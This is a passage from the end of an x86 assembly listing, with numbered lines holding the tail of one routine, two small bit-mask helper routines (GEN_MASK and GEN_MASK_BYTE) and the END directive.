  836.                 jnc     GDR1
  837.                 add     al,3
  838.                 cmp     al,8
  839.                 je      GDR1
  840.                 mov     al,9
  841. GDR1:           sub     al,2
  842.                 ret
  843.  
  844. ;Create a bit mask from word register al
  845. GEN_MASK:
  846.                 mov     cl,al
  847.                 mov     al,1
  848.                 shl     al,cl
  849.                 ret
  850.  
  851. ;Create a word bit mask from byte register al
  852. GEN_MASK_BYTE:
  853.                 mov     cl,al
  854.                 mov     al,1
  855.                 shl     al,cl
  856.                 mov     ah,al
  857.                 mov     cl,4
  858.                 shr     ah,cl
  859.                 or      al,ah
  860.                 and     al,0FH
  861.                 ret
  862.  
  863.                 END
  864. 
  865.